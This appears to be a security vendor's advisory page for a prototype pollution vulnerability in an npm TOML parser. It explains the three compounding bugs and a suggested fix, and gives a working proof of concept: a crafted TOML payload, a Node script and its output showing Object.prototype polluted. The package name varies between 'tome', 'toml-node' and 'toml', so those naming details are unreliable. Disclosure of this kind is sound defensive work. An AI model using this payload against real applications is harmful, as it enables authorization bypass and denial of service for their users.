CVE-2026-114142

CVE-2026-114142 is a high-severity security vulnerability in tome (npm), affecting versions <= 5.0.0. It is fixed in 5.0.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype

CVE-2026-63376 described prototype pollution through proto key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.

A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process, including objects produced by unrelated libraries.

Details

Three gaps compose. All line numbers are lib/compiler.js in 5.0.0.

1. The path-key encoding is ambiguous. quoteDottedString() quotes a segment only when it contains a ., and never escapes a " inside the segment:

287:  function quoteDottedString(str) {
288:    if (str.indexOf(".") > -1) {
289:      return "\"" + str + "\"";
290:    } else {
291:      return str;
292:    }
293:  }

So the key path ['x.y'] and the key path ['"x', 'y"'] both render as the string "x.y". This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.

2. A table-array header can clear another key's guard. addTableArray() walks assignedPaths / valueAssignments with isSameOrSubPath() over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.

3. The descent in assign() has no owned-container check. deepRef() applies isOwnedContainer() only to intermediate segments (lib/compiler.js:265, :273) and returns the final container unchecked. assign() then walks it with only a shape test:

 93:      target = target[k];
...
103:    target[lastKey] = reduced;

A TOML datetime is a Date. It satisfies typeof target[k] === "object" and is not an array, so the walk descends into it, and a Date has a live prototype chain to Object.prototype.

Putting the three together, a document can make the current table a Date and then walk __proto__.__proto__ to Object.prototype.

mkdir poc && cd poc && npm init -y >/dev/null && npm install [email protected]
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"

Line 1 defines a key whose rendered path is "b.c" and whose value is a Date.
Line 2 is a table-array header whose rendered path collides with it, clearing its guard.
Line 3 re-enters that key, so the current table is now the Date.
Line 4 walks Date → Date.prototype → Object.prototype.

// poc.js
const toml = require('toml');
const fs = require('fs');

console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
$ node poc.js
before: undefined
after:  "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"

The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.

A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.

Impact

Any application that parses a TOML document from an untrusted source is affected, a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.

Suggested fix: in assign(), apply the same check the intermediate descent already uses, after target = target[k], reject when !isOwnedContainer(target). Equivalently, apply isOwnedContainer to the value deepRef() returns. Separately, quoteDottedString() should escape " inside a segment so that distinct key paths cannot render to the same string.

Affected versions

tome (<= 5.0.0)

Security releases

tome → 5.0.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade tome to 5.0.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-114142? CVE-2026-114142 is a high-severity security vulnerability in tome (npm), affecting versions <= 5.0.0. It is fixed in 5.0.1.
  2. Which versions of tome are affected by CVE-2026-114142? tome (npm) versions <= 5.0.0 is affected.
  3. Is there a fix for CVE-2026-114142? Yes. CVE-2026-114142 is fixed in 5.0.1. Upgrade to this version or later.
  4. Is CVE-2026-114142 exploitable, and should I be worried? Whether CVE-2026-114142 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-114142 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-114142? Upgrade tome to 5.0.1 or later.

Stop the waste.
Protect your environment with Kodem.